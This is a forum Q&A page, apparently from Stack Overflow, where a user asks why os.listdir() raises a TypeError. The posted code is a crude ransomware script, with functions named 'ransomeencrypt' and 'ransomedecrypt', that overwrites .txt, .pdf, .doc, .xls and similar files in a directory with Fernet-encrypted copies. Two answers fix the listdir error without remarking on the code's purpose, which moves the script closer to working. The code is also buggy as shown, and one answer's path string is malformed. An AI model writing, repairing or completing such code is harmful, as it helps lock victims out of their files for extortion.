TypeError: listdir() takes exactly 1 argument (0 given)

Question:

when I execute this in my win10 I get this error.
But when I am using:

dirs = os.listdir(path)
for file in dirs:
print(file)

I can see all the files in dir, I need help!

error: Raw_Files = os.listdir()
TypeError: listdir() takes exactly 1 argument (0 given)

def ransomeencrypt(file_name):
    Lock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    protected = Lock.encrypt (data)
    with open (file_name, 'wb') as file:
        file.write (protected)


def ransomedecrypt(file_name):
    Unlock = Fernet (key)
    with open (file_name, 'rb') as file:
        data = file.read ( )
    decoded = Unlock.decrypt (data)
    with open (file_name, 'wb') as file:
        file.write (decoded)


Raw_Files = os.listdir()
Files = list()

for File in Raw_Files:
    if File.endswith('.txt', '.pdf', '.doc', '.docx', '.ppt', '.ppx', '.xls', '.xlsx'):
        Files.append (File)

function = ransomeencrypt

for File in Files:
    function (file)
Asked By: Junaid Sheik

||

Answers:

From the documentation of os.listdir, it reads:

Changed in version 3.2: The path parameter became optional.

Since the TypeError: listdir() takes exactly 1 argument (0 given) error you’re getting suggests that the parameter is not optional, you’re probably running an old version of Python. Upgrading it should solve the issue.

Alternatively, you may supply '.' as the parameter like this.

# ...
Raw_Files = os.listdir('.')
Answered By: kotatsuyaki

Here you are passing 0 arguments to os.listdir. But you should at least pass one argument and that argument should be the path which you want to access.
For eg:-

# Open a file
path = "d:\tmp\"
dirs = os.listdir( path )
Answered By: goodwin
Categories: questions Tags: ,
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.